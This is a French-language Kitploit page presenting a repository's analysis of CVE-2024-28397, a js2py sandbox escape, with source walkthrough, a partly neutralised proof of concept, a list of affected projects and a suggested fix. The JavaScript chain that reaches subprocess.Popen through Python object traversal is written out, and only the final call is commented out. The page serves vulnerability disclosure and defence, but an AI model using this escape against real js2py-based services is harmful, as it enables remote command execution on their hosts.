Skip to content
KitploitKITPLOIT
OutilsBlog
Soumettre
OutilsBlog
Soumettre

Outils de Hacking, PenTest et Cybersécurité pour votre Arsenal de Sécurité !

Kitploit est un répertoire d'outils de hacking, de cybersécurité et de pentesting. Découvrez les dernières mises à jour des projets pour trouver des vulnérabilités, analyser des systèmes, automatiser les tests et renforcer votre sécurité.

··Flux·Contact·Confidentialité·© 2026 Kitploit

Répertoire d'outils

Catégories

Voir toutes les catégories
Loading categories
CVE-2024-28397-js2py-Sandbox-Escape — Analyse détaillée de la CVE-2024-28397, une vulnérabilité d'évasion de sandbox dans js2py permettant une exécution de code à distance via le parcours d'objets Python. Comprend une analyse de code, un PoC et des recommandations de correctifs pour la recherche défensive. | Kitploit
Outils/GitHubGitHub/naved124/cve-2024-28397-js2py-sandbox-escape
Analyse des VulnérabilitésAnalyse de CodeExploitationSécurité WebArticles et RechercheApprentissage et ÉducationDéveloppement de Charges UtilesExploitation de Binaires

Populaires

Voir tout →

Découvrez les outils les plus utilisés par notre communauté.

Explorer tous les outils

Parcourez notre collection d'outils

Voir tous les outils →
Partager
GitHub
naved124/cve-2024-28397-js2py-sandbox-escape

CVE-2024-28397-js2py-Sandbox-Escape

Analyse détaillée de la CVE-2024-28397, une vulnérabilité d'évasion de sandbox dans js2py permettant une exécution de code à distance via le parcours d'objets Python. Comprend une analyse de code, un PoC et des recommandations de correctifs pour la recherche défensive.

Voir le dépôt
il y a 11 moisPas encore vérifié

CVE-2024-28397-js2py-Sandbox-Escape

Analyse de vulnérabilité js2py

Introduction

js2py est un package Python populaire qui permet d'évaluer du code JavaScript dans l'interpréteur Python. Il est utilisé par divers scrappeurs web pour analyser le code JavaScript sur les sites web.

Il existe une vulnérabilité dans l'implémentation d'une variable globale dans js2py, permettant à un attaquant d'obtenir une référence à un objet Python dans l'environnement js2py, ce qui permet à l'attaquant de s'échapper de l'environnement JS et d'exécuter des commandes arbitraires sur l'hôte.

Normalement, un utilisateur appellerait js2py.disable_pyimport() pour empêcher le code JavaScript de s'échapper de l'environnement js2py. Mais avec cette vulnérabilité, un attaquant peut contourner cette restriction et exécuter n'importe quelle commande sur l'hôte cible.

L'acteur malveillant peut héberger un site contenant un fichier JavaScript malveillant ou envoyer un script malveillant via une API HTTP pour que la victime l'analyse. Ce faisant, l'acteur peut réaliser une exécution de code à distance sur l'hôte en exécutant des commandes shell arbitraires sur la cible.


Préface

js2py est une bibliothèque Python couramment utilisée dans les crawlers, utilisée pour analyser et exécuter du code JS dans un environnement Python natif. Les crawlers utilisent généralement js2py pour analyser le code JS obtenu sur le web, simulant ainsi l'environnement du navigateur.

Cependant, js2py possède une fonction extrêmement dangereuse pour les crawlers : elle supporte l'importation et l'utilisation de packages Python en JS, ce qui signifie que js2py permet au code JS de manipuler diverses bibliothèques Python et d'interagir directement avec l'environnement Python. C'est précisément pour cette raison que nous pouvons utiliser une méthode similaire à Jinja SSTI, et dans l'environnement js2py, utiliser un objet Python pour trouver la classe subprocess.Popen afin de réaliser une RCE.

De plus, étant donné que js2py est un package de l'ère Python2, largement utilisé et non maintenu depuis longtemps, il devrait être relativement facile à analyser.


Analyse du code

Conversion du code JS en code Python

Après avoir défini des points d'arrêt, on peut constater que l'endroit où le code JS est réellement analysé est la fonction Eval de host/jseval.py. En y plaçant des points d'arrêt, on peut voir le code Python converti par js2py.

Par exemple, ce morceau de code JS :

root@kitploit:~
let a = 114
console.log(a)

sera finalement analysé en ce morceau de code Python :

root@kitploit:~
var.registers(['a'])
var.put('a', Js(114.0))
EVAL_RESULT = (var.get('console').callprop('log', var.get('a')))

On voit que les variables de la couche JS sont toutes stockées dans la variable Python var. Toutes les valeurs de la couche JS sont proprement stockées en tant que classe PyJs (ici Js est en fait une fonction, expliqué plus tard). Les fonctions sont également appelées via callprop. Dans des conditions normales, le code JS ne peut pas toucher aux objets Python.

En lisant le code, on a remarqué que l'auteur aimait beaucoup utiliser la concaténation de chaînes pour construire le code Python final, d'où l'idée que l'on pourrait construire du code JS pour générer du code Python illégal, permettant ainsi de construire du code Python arbitraire et de l'exécuter. Mais considérant que cette voie est beaucoup plus difficile que la voie ultérieure, elle n'a pas été explorée plus avant.


Données Python vers données JS

Pour obtenir un objet Python et implémenter une RCE, il faut d'abord voir comment les objets Python sont convertis en objets PyJs.

Tout d'abord, localisons l'implémentation de la fonction Js, dans base.py. Le rôle de la fonction Js est de convertir la valeur Python entrante en valeur PyJs correspondante, permettant ainsi au code JS de manipuler ces valeurs.

root@kitploit:~
def Js(val, Clamped=False):
    '''Converts Py type to PyJs type'''
    if isinstance(val, PyJs):
        return val
    elif val is None:
        return undefined
    elif isinstance(val, basestring):
        return PyJsString(val, StringPrototype)
    elif isinstance(val, bool):
        return true if val else false
    elif isinstance(val, float) or isinstance(val, int) or isinstance(
            val, long) or (NUMPY_AVAILABLE and isinstance(
                val,
                (numpy.int8, numpy.uint8, numpy.int16, numpy.uint16,
                 numpy.int32, numpy.uint32, numpy.float32, numpy.float64))):
        # This is supposed to speed things up. may not be the case
        if val in NUM_BANK:
            return NUM_BANK[val]
        return PyJsNumber(float(val), NumberPrototype)
    ... # plusieurs lignes omises ici
    else:  # try to convert to js object
        return py_wrap(val)

On voit que les structures de données de base de Python comme bool, float, list, etc. seront converties en classes PyJs dédiées, tandis que les autres types de données seront traités par py_wrap et deviendront finalement la classe PyObjectWrapper.

Les classes PyJs normales représentent des nombres, des booléens et d'autres données communes, tandis que PyObjectWrapper représente des données spéciales comme les modules Python. Donc, tant que nous obtenons un type de données PyObjectWrapper, nous pouvons utiliser une méthode d'accès aux attributs similaire à Jinja SSTI pour réaliser une RCE.

En général, les données de type PyObjectWrapper ne peuvent être obtenues que lorsque la fonction d'importation de packages Python est activée, mais parce que js2py n'est pas maintenu depuis longtemps et n'a pas soigneusement pris en compte les différences entre Python2 et Python3, une vulnérabilité d'évasion de sandbox s'est finalement produite.

Incidemment, en regardant l'implémentation de PyJs, j'ai vu que l'auteur a écrit ces lignes de code :

root@kitploit:~
if six.PY3:
    PyJs.__hash__ = PyJs._fuck_python3
    PyJs.__truediv__ = PyJs.__div__

On peut dire que l'auteur déteste extrêmement Python3.


Implémentation des fonctions JS

Alors que js2py fournit la fonction de conversion de code JS en code Python, il fournit également plusieurs objets intégrés comme console et Object pour supporter le fonctionnement normal du code JS.

Notre objectif final est de contourner la restriction de pyimport et d'obtenir un objet PyObjectWrapper. De l'analyse ci-dessus, on voit que pour obtenir un objet PyObjectWrapper à partir de rien, nous ne pouvons que partir de l'implémentation des objets intégrés et en extraire un objet PyObjectWrapper.

Commençons par analyser le code d'implémentation des objets intégrés. Dans constructors/jsobject.py, on peut voir l'implémentation de diverses fonctions dans l'objet Object, y compris des fonctions couramment utilisées comme Object.keys.

Ensuite, on peut voir cette fonction :

root@kitploit:~
def getOwnPropertyNames(obj):
    if not obj.is_object():
        raise MakeError(
            'TypeError',
            'Object.getOwnPropertyDescriptor called on non-object')
    return obj.own.keys()

js2py utilise dict pour représenter les objets en JS. La fonction keys() ici appelle le keys() du dictionnaire Python. Quiconque a étudié Python sait qu'en Python2, cette fonction retourne une liste, tandis qu'en Python3 elle retourne une vue dict_keys. Selon l'implémentation de la fonction Js ci-dessus, ce dict_keys sera converti en PyObjectWrapper, et nous pouvons ainsi réaliser une RCE.


Réalisation de la RCE

Tout d'abord, vérifions si getOwnPropertyNames peut obtenir un PyObjectWrapper :

root@kitploit:~
import js2py

code = """
let a = Object.getOwnPropertyNames({})
console.log(a)
"""

js2py.eval_js(code)

Cela a affiché PyObjectWrapper(dict_keys([])), bien sûr que oui.

Ensuite, à partir de cet objet, nous obtenons la fonction __getattribute__, et nous pouvons facilement réaliser une RCE. Lors de l'écriture du PoC, on a pensé de manière trop compliquée ; en fait, utiliser __class__.__base__ suffit pour obtenir la fonction __getattribute__.

Ensuite, à partir de la fonction __getattribute__, obtenons l'objet objet, puis écrivons une fonction récursive pour trouver n'importe quelle classe de n'importe quel module. Ici, pour la RCE, ce que l'on cherche est subprocess.Popen.

NOTE (sanitisé) : Le fragment de code ci-dessous est présenté à des fins éducatives et de recherche. Il a été sanitisé pour éviter de faciliter une utilisation abusive : les commandes shell sensibles et l'exécution directe sur le système ont été remplacées par des placeholders. Ne l'exécutez pas contre des systèmes de production ou non patchés.

root@kitploit:~
import js2py

code = """
let cmd = "DUMMY_CMD"  # remplacer par une commande de test sécurisée dans un laboratoire (ex. 'echo test')
let a = Object.getOwnPropertyNames({}).__class__.__base__.__getattribute__
let obj = a(a(a,"__class__"), "__base__")
function findpopen(o) {
    let result;
    for(let i in o.__subclasses__()) {
        let item = o.__subclasses__()[i]
        if(item.__module__ == "subprocess" && item.__name__ == "Popen") {
            return item
        }
        if(item.__name__ != "type" && (result = findpopen(item))) {
            return result
        }
    }
}
// L'appel suivant invoquerait subprocess.Popen avec des arguments — dans la version sanitisée
// nous remplaçons l'invocation système réelle par un placeholder pour des raisons de sécurité.
// findpopen(obj)(cmd, -1, null, -1, -1, -1, null, null, true).communicate()
console.log("[SANITISÉ] Exécution du PoC ignorée pour éviter toute utilisation abusive")
result
"""

# Note : js2py.eval_js(code) intentionnellement omis pour éviter d'exécuter du code d'exploit dans ce dépôt.

Détails de la vulnérabilité

  • Numéro de version du composant affecté :

    • latest js2py (<=0.74) qui fonctionne sous Python 3
  • Produits affectés :

    • pyload/pyload
    • VeNoMouS/cloudscraper (utilise js2py comme 'interpréteur JS' optionnel)
    • dipu-bd/lightnovel-crawler
  • Étapes pour reproduire (laboratoire uniquement) :

    • Installer Python3 < 3.12 (js2py ne supporte actuellement pas Python 3.12).
    • Exécuter pip install js2py pour installer js2py et exécuter un script PoC sanitisé dans un environnement de laboratoire isolé. Le PoC original tentait d'exécuter des commandes comme head -n 1 /etc/passwd et des calculatrices ; dans ce dépôt, elles sont remplacées par des placeholders sécurisés.
    • Si la vulnérabilité existe, le chercheur observera qu'un PyObjectWrapper peut être obtenu à partir de Object.getOwnPropertyNames({}), permettant une traversée d'attributs pour atteindre les internes Python.

Correctif

Étant donné que le problème réside dans la fonction getOwnPropertyNames, convertir le dict_keys qu'elle retourne en une liste normale résout le problème. Un correctif suggéré est d'envelopper obj.own.keys() avec list(...) avant de retourner.


Avertissement

Ce dépôt est à des fins éducatives et de recherche défensive uniquement. N'utilisez aucune des informations ou du code ici pour attaquer des systèmes sans autorisation explicite. Les fragments de PoC ont été sanitisés pour éviter de faciliter une utilisation abusive.


Compilé et traduit à des fins de recherche & utilisation défensive.

Télécharger l’outil